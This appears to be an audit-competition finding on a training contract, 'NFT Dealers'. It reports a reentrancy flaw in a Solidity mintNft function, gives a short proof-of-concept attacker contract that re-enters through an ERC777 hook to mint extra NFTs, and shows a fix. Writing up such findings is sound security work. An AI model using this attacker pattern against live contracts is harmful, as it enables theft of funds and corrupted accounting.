NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

CEI violation in mintNft

Author Revealed upon completion

External call executed before state updates in mintNft allows reentrancy, enabling an attacker to mint multiple NFTs and corrupt collateral accounting

Description

  • mintNft() collects USDC collateral from the caller, increments the token counter, records the collateral mapping, and mints the NFT — intended to execute atomically for one NFT per call.

  • The external call to usdc.transferFrom() is made before tokenIdCounter is incremented and before collateralForMinting is written, violating the Checks-Effects-Interactions pattern. A reentrant call during the external transfer finds the contract in its pre-mint state, passing all checks and minting again before any state is committed.

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
​
@> require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
// State is updated AFTER the external call — window for reentrancy is open
​
@> tokenIdCounter++;
@> collateralForMinting[tokenIdCounter] = lockAmount;
_safeMint(msg.sender, tokenIdCounter);
}

Risk

Likelihood:

  • A whitelisted attacker deploys a contract that implements an ERC777 tokensReceived hook, and the protocol accepts that token as the USDC address — reentrancy executes automatically on every transfer.

  • The _safeMint call also triggers onERC721Received on recipient contracts, giving a second reentrancy entry point even with a standard ERC20, as state updates have already been incorrectly ordered.

Impact:

  • An attacker mints multiple NFTs for the price of one, exceeding intended per-wallet or supply limits.

  • collateralForMinting is written with a stale tokenIdCounter, corrupting the collateral record for every reentrant mint — breaking future refunds, resale collateral checks, and fee withdrawals for affected token IDs.

Proof of Concept

contract Attacker {
NFTDealers public target;
IERC20 public usdc;
uint8 public count;
​
constructor(address _target, address _usdc) {
target = NFTDealers(_target);
usdc = IERC20(_usdc);
}
​
// Entry point
function attack() external {
usdc.approve(address(target), type(uint256).max);
target.mintNft();
}
​
// ERC777 tokensReceived hook — called during usdc.transferFrom
// tokenIdCounter has NOT been incremented yet at this point
function tokensReceived(
address, address, address, uint256, bytes calldata, bytes calldata
) external {
if (count < 3) {
count++;
target.mintNft(); // re-enters before any state update
}
}
}

Recommended Mitigation

Move all state updates above every external call so the contract's state is fully committed before any external code can execute.

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
​
+ // Effects — commit state before any external interaction
+ tokenIdCounter++;
+ uint256 newTokenId = tokenIdCounter;
+ collateralForMinting[newTokenId] = lockAmount;
​
- require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
-
- tokenIdCounter++;
-
- collateralForMinting[tokenIdCounter] = lockAmount;
- _safeMint(msg.sender, tokenIdCounter);
​
+ // Interactions — external calls last
+ require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
+ _safeMint(msg.sender, newTokenId);
}

Consider also adding OpenZeppelin's ReentrancyGuard as a defense-in-depth measure, since _safeMint independently triggers onERC721Received on recipient contracts.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!